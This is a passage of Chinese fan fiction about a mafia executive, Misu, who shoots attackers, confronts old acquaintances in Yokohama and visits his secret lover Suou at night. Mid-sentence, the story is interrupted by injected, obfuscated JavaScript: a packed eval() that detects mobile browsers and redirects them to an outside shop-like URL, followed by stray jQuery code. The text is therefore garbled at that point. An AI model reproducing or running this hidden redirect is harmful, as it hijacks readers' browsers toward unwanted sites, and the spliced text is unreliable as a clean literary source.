即便捂着耳朵,也没能彻底掩盖耳边的枪声。
感觉,弥津先生只开了一枪。
这也没办法吧,想要遮住他的眼睛,只能单手拿枪了。这意味着被踢飞前子弹已经上膛,亟待被击发。稍微有点……凶险了吧。
遮在他眼睛的手拿走,弥津先生强行按着他的肩膀,把他推往旁边。
他不由得看向弥津先生,却发现眼前人身上的衣物极其单薄。在深秋的寒夜里,上身只着一件黑色衬衣,配以同色的西装长裤。
衬衣袖子挽起,右胳膊露出的肌肤伤痕累累。
他见过弥津先生右胳膊上的伤。从手腕到肩头,几乎没有一处完好无损的地方,陈年旧伤与新伤和纹身混在一起,伤痕愈发可怖。
那些伤口还会疼吗,弥津先生回答他,已经没感觉了。万幸的是没有完全伤到神经和骨头,虽然对开枪的准头有影响,“但我本来不擅长枪械。”
那只握着手枪的右手开完一枪,推开他后立即上膛,对着苟延残喘的敌人开了第二枪。
“别扭头。看着我。”
紧盯敌人的黑手党干部对着身边的人下了这样的“命令”。
他依旧照做。
视野里便只剩下眼前的青年。
执枪的手戴着漆黑的手套,可手套边缘的肤色却在不够明亮的路灯下显得越发白皙,近似于泛着一层让他意识恍惚的柔光。
……幻觉吧。
弥津先生眼中的那抹玫红此刻也如血般艳丽。
他脱下自己的外套——他至少没有在外套里面只穿一件适合初秋的单薄衬衫——在弥津先生收起枪后,披在他肩头。
那双漂亮的玫红色眼瞳凝视着他,没有拒绝,但不动声色地推开情不自禁想要拥抱眼前人的他。弥津先生轻轻捏着他的脸,语气平淡地说,“别看那边。”
“……我明白,弥津先生。”
“和我走。”
难以违抗。他心想。
弥津先生是个应该发号施令的人,毕竟“工作”是如此。和他相处时多了太多人情味,但这种时候就算是冷冰冰地“命令”他,他也会照做的。
走在他身前的人步履平缓,低头快速拆掉了拿在右手的手枪弹匣,检查过子弹数量后重新装好。刚走近巷口,他就看到了等在路边的青年。
戴眼镜的青年站在车门边,时不时低头看一眼腕表。
……紫苑先生?
是他之前见过的人。
他也曾好奇过,戴眼镜不会妨碍这位先生行动吗。
手枪被交到青年手上,而他披在弥津先生肩头的衣服也被还了回来。
随行的青年打开后座车门,提着一个装衣服的纸袋。
“明天再处理吧,现在有点晚了。”接过纸袋的人说。
紫苑刻在心里宣布今天自己下班了,“好的。”
虽然晚上八点才下班是有点迟。但和还在总部亮灯的办公室收尾的镜优相比,这个时间点已经够早了。
听到身后逼近的脚步声,苏枋隼飞下意识回头。
现在能回头了吧。
来人情绪高涨,高呼道,“老板——”
正在穿外套的人沉默着,静静地等想要揽他肩膀的人带着一腔热情靠近。
随后,下了狠劲的一拳砸在棪堂哉真斗脸上。
毫无防备也不想防备的人被这带着私人恩怨的一拳砸得倒退两步。
抬头望着几年没见的青年,棪堂哉真斗眼中没有被打中的愤怒,只有“老板今天居然动手揍人,被揍的还是自己”的惊奇。
一身黑衣的青年眼神瞥向棪堂哉真斗身边的焚石矢,被这道视线锁定的人一副事不关己的态度,装作无事发生一样朝旁边挪了两步,和看起来也想给他一拳的男人拉开距离。
仿佛刚才是棪堂的脑袋不小心撞上了青年的手。
“别给我添麻烦。”认识这两个家伙真的很丢人,干部先生想道。
棪堂哉真斗揉着受重击的脸,仔细打量起老板来。说实话,老板这一拳还挺疼,但老板的表情一点都看不出来有生气的样子,依旧像面瘫似的。也看不出来有哪里像“通缉犯”。
通缉犯不应该躲躲藏藏,不敢以真面目示人吗?老板怎么看起来像个……像个开着豪车出门的大少爷。
诶?老板刚刚是不是瞪了他一眼。他只是很想见成为通缉犯的老板一面而已,有什么错呢。世界上居然也有这种通缉犯。通缉令挂在城市里人人可见的交番告示板上,居然还生活在这里。
“已经见过了。尽早离开吧。”
这是“命令”吗?
被反问的人很快失去了沟通的耐心。
干部先生转过身,手搭着车门,慢慢攥成拳。
就算是傻子也该明白,现在再不说点什么缓解气氛就彻底完蛋了。
“好了,老板……我们明天一早就会走的。如果不是对你摇身一变成了通缉犯很好奇,我们早就到下一个目的地了。”
棪堂哉真斗识相地慢慢向后退到焚石矢旁边。
今日暂时充当司机的人面无表情地看完上司对着那名年轻人挥出了今日的第二拳,拉开车门,询问道,“要先回总部吗?”
终于有些解气的青年低声回答,“嗯。”
青年回头望了一眼和自己关系匪浅的人,顿了顿,对其说,“你也回家去。”
*
没对棪堂哉真斗实实在在接下的两拳做何种表示,苏枋隼飞目送那辆车在街头飞驰而过,带着自己喜欢的人去往他无法靠近的地方。他回过头来,看着蹲在地上对弥津先生发牢骚的人,“我早说过,你该放弃见他的想法。”
如果不是看在彼此有点交情的份上,弥津先生可能会杀掉你们。
擦掉点点鼻血,蹲在地上、略显狼狈的人站起来,望着车辆消失的方向,心里对现状门清。
“我说,你是不是知道什么,老板现在是做什么的,直说吧。反正我们明天就要离开了。”
棪堂哉真斗故意没躲老板的拳头。
当然啦,他如果躲开或者反击的话,老板一定会用奇奇怪怪的能力让他瘫软在地上的。那不是更惨吗?不如老实承受老板的怒火。况且,老板身边那个男人手里的枪也会对着他开火吧。再怎么权衡,都不如被老板揍两拳来得赚。
“有实权的犯罪组织高层。成为通缉犯的原因和你们想象中差不多。”
所以,他才会说,你们别去见弥津先生。
“恐怕你们的行踪早就被监视了。”弥津先生今日会出现,莫非是判断今天找上门来的对手会使用枪械?
“‘监视’?还真是可怕呢。”虽然嘴上如此说着,棪堂哉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940669|186252||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
真斗根本没把这件事放在心上,“但他为什么没赶你走,只赶我?”
苏枋隼飞脸上露出一种让人捉摸不透的微笑。
当然是没赶走啊。
看这二人的态度,是当真准备离开了。但他还是要叮嘱一句,“弥津先生一定希望你们忘记他。”
闻言,准备离开的二人都回头看着他。
“什么意思。”
焚石矢受够了一些说话不清不楚的人。
“只是字面意思。弥津先生认为,社会关系正常的人和他扯上关系不是好事。”
就算棪堂哉真斗和焚石矢的生活离不开纷争,可是,和一位亲手犯下诸多罪恶的黑手党组织干部相比,这两个人的所作所为依旧不完全属于“犯罪”,甚至可以辩称为追寻自我的生活方式。
可他深知弥津先生和旁人的不同。
“也许,此时此刻,我们周围就有人在监视我们的一举一动,直到你们离开横滨,才算完成弥津先生的命令。”
只不过,他面前造成这一窘境的二人不在意,他也不在意。
“想要过更自由的生活,你们得当做自己不认识他。弥津先生离我们还是太远了。”
他自然明白黑手党组织的干部和“普通人”之间的差距实在很大,行动准则,性格特质,将自己藏身在黑暗中的人拥有常人难以理解的思维观念。
幸好,距离虽远,他会想办法追上去的。
之后,他同那两人分道扬镳。
步行一段路程,就离他如今的“家”不远了。
可无论是在客厅放着电视上的重播节目,还是回厨房检查冰箱里为明日准备的食材,他脑海中总是浮现不久前站在自己面前的弥津先生。
实在是让人念念不忘。
可他绝对不能当着别人的面问,弥津先生今天晚上要不要和他回家。如弥津先生所说的一样……他们的关系只能藏在地下。
弥津先生身上不只有右胳膊受过伤,他全都见过。腰侧、后背、双腿,有在明亮灯光下细细对比才能发现的痕迹,但弥津先生自己不记得自己身上为何会有这些痕迹,也难以判断是随时间愈合的伤疤,还是身体上的其他毛病。
在他问起时,弥津先生只说,可能是十几岁的时候受过的伤,他忘了。
十几岁的时候就加入了黑手党?
当时,弥津先生抚摸着他的脸回答他,“嗯。十五岁的时候。”
那真是太早了。
此后,弥津先生再也没提过那些事,他也没再问。
最严重的伤并非右胳膊,而当属肋骨下面,腹部的位置,相当大的一片……难以形容的伤口,像被撕去一块血肉,他想象不出是何物造成的。
弥津先生对这些伤不以为意。
“组织里的医疗部门很优秀,不用担心我。”
无论如何优秀,看到弥津先生受伤,他都是会心疼的。
夜深人静,如果他没有听到幻觉一般的锁车门声的话,他早该关灯休息。
听到这样的声响,他下意识回头。盯着纹丝不动的房门,心跳却不由得变得剧烈。
终于,房门被外面的人打开。
弥津先生有家门的钥匙。
在一室的明光下,分别一个小时的人再次出现在他眼前。
简直像做梦似的,他想。